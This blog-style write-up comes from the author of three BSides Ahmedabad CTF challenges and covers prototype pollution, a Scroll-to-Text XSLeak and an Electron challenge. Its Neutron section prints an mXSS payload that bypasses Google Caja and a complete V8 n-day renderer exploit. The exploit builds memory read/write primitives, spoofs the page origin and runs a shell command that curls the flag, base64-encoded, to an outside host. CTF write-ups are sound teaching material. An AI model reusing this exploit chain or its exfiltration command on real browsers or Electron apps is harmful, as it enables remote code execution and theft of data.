Intro

On Nov 6th zer0pts hosted a 24h CTF for BSides Ahmedabad Conference, I prepared 3 challenges for the event namely pugpug, bettercatalog, Neutron. I hoped for more players to try my challenges, but because of Google's Hackcelr8 taking place most of the top teams were busy building tooling. So, bettercatalog and Neutron challenges were left unsolved during the event, then I posted the challenges on Twitter for others to try. Gladly, layton got first blood on the next day of the event on bettercatalog challenge and vakzz got first blood after 3 days of the event on Neutron using an unintended dope solution.

TL;DR of the challenges

pugpug

This is a pretty interesting prototype pollution challenge on the server-side, it is based on a bug found by BlackFan to bypass Object sealing on a bug bounty site. You can find more details of the challenge on huli's blog.

bettercatalog

This is a Scroll to Text Fragment XSLeak challenge, based on the bug I found in google chrome which got duped sadly :/.

Neutron

Neutron is an ElectronJS challenge that has both web and pwn elements, this was based on the real bug which I wasn't able to achieve because of some reason. Basically, the idea is to spoof the origin of the same-site website in a frame to parent's origin to get access to the interesting API on the parent window which is exposed via contextBridge.exposeInMainWorld. As usual, ptr-yudai helped with the pwn part to write a render exploit to spoof the origin of the same-site website using a v8 nday bug by overwriting the security_context_.security_origin_.host_ to the parent's host and document_.url_ to the parent's URL.

CTF Challenge

Initially, I thought of writing an application for this challenge, then I remembered the catalog challenge in Plaid CTF with 0 solves. So, I thought why not give the same challenge by removing the uBlock extension and after some hustle, I was able to create POC to leak the flag using my bug. Check the video below

Neutron

XSS

The sanitization of messages takes place via Google Caja which is an ancient sanitiser by google and it is deprecated maybe because of MXSS issues?

XSS poc

<select><iframe></select><iframe srcdoc='<script>alert(1337)</script>'></iframe></select>

Now, the XSS is in electron.lol:6969, it can't access top.safeEval because of same-origin policy. It might seem impossible to achieve RCE because of all these limitations.

Spoofing Origin of same-site page

Because the sites electron.lol:6969 and electron.lol:1337 are same-site, site-isolation won't be applied here. So, chrome uses the same process for both of the pages. Interestingly, with a renderer exploit we can overwrite the origin of our page to different same-site websites and now if we access top.safeEval chrome won't throw SOP error. Here we only need to overwrite the port of the origin.

To spoof the origin we have to overwrite the port to 1337 at security_context_.security_origin_.port_ from 6969.

POC by ptr-yudai

/**

* Utils

*/

var conversion_buffer = new ArrayBuffer(8);

var float_view = new Float64Array(conversion_buffer);

var int_view = new BigUint64Array(conversion_buffer);

BigInt.prototype.hex = function() {

return '0x' + this.toString(16);

};

BigInt.prototype.i2f = function() {

int_view[0] = this;

return float_view[0];

}

Number.prototype.f2i = function() {

float_view[0] = this;

return int_view[0];

}

function gc() {

for (var i = 0; i < 0x10000; ++i)

var a = new ArrayBuffer();

}

/**

* Exploit

*/

function pwn()

{

class LeakArrayBuffer extends ArrayBuffer {

constructor(size) {

super(size);

this.slot = 0xb33f;

}

}

function jitme(a) {

var x = -1;

if (a) x = 0xFFFFFFFF;

var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));

arr.shift();

var local_arr = Array(2);

local_arr[0] = 5.1;

var buff = new LeakArrayBuffer(0x1000);

arr[0] = 0x1122;

return [arr, local_arr, buff];

}

/* Cause bug */

gc();

console.log("[+] START");

for (var i = 0; i < 0x10000; ++i)

jitme(false);

gc();

[corrput_arr, rwarr, corrupt_buff] = jitme(true);

corrput_arr[12] = 0x22444;

delete corrput_arr;

/* Primitives */

function set_backing_store(l, h) {

rwarr[4] = ((h << 32n) | (rwarr[4].f2i() & 0xffffffffn)).i2f();

rwarr[5] = ((rwarr[5].f2i() & 0xffffffff00000000n) | l).i2f();

}

function addrof(o) {

corrupt_buff.slot = o;

return (rwarr[9].f2i() - 1n) & 0xffffffffn;

}

var corrupt_view = new DataView(corrupt_buff);

var corrupt_buffer_ptr_low = addrof(corrupt_buff);

console.log("[+] leak = " + corrupt_buffer_ptr_low.hex());

/* Fake obj */

var idx0Addr = corrupt_buffer_ptr_low - 0x10n;

var baseAddr = (corrupt_buffer_ptr_low & 0xffff0000n) - ((corrupt_buffer_ptr_low & 0xffff0000n) % 0x40000n) + 0x40000n;

var delta = baseAddr + 0x1cn - idx0Addr;

var addr_upper;

if ((delta % 8n) == 0n) {

var baseIdx = delta / 8n;

addr_upper = (rwarr[baseIdx].f2i() & 0xffffffffn) << 32n;

} else {

var baseIdx = ((delta - (delta % 8n)) / 8n);

addr_upper = rwarr[baseIdx].f2i() & 0xffffffff00000000n;

}

console.log("[+] upper = " + addr_upper.hex());

function aar64(addr) {

set_backing_store(addr >> 32n, addr & 0xffffffffn);

return corrupt_view.getFloat64(0, true).f2i();

}

function aaw64(addr, value) {

set_backing_store(addr >> 32n, addr & 0xffffffffn);

corrupt_view.setFloat64(0, value.i2f(), true);

}

/* Leak security_context_ */

var addr_window = addr_upper | addrof(window);

console.log("[+] window = " + addr_window.hex());

var addr_ldomwin = aar64(addr_window + 0x18n) + 0x80n;

console.log("[+] LoclDOMWindow = " + addr_ldomwin.hex());

var addr_security = aar64(addr_ldomwin + 0x60n);

console.log("[+] security = " + addr_security.hex());

/* Overwrite security context */

console.log("[+] window.origin = " + window.origin);

// try { console.log(victim.contentWindow.document.location.href); } catch(e) { console.log(e); }

console.log("[+] addr_sec port = "+ (addr_security + 0x20n).hex())

aaw64(addr_security + 0x20n, 1337n); //overwriting port

console.log("[+] window.origin = " + window.origin);

try { top.electron.safeEval('console.log(require("child_process").exec(\'curl "http://pwn.af:1337/`/read_flag | base64 -w 0`"\'));')} catch(e) { console.log(e); }

}

pwn()

Finaly payload

<select><iframe></select><iframe srcdoc='<script src="http://server/blahblah/exp.js"></script>'></iframe></select>

The End

One main important thing I realized during this whole process is that I have to stop being lazy when it comes to learning v8 exploitation and spend a lot of time learning it😒.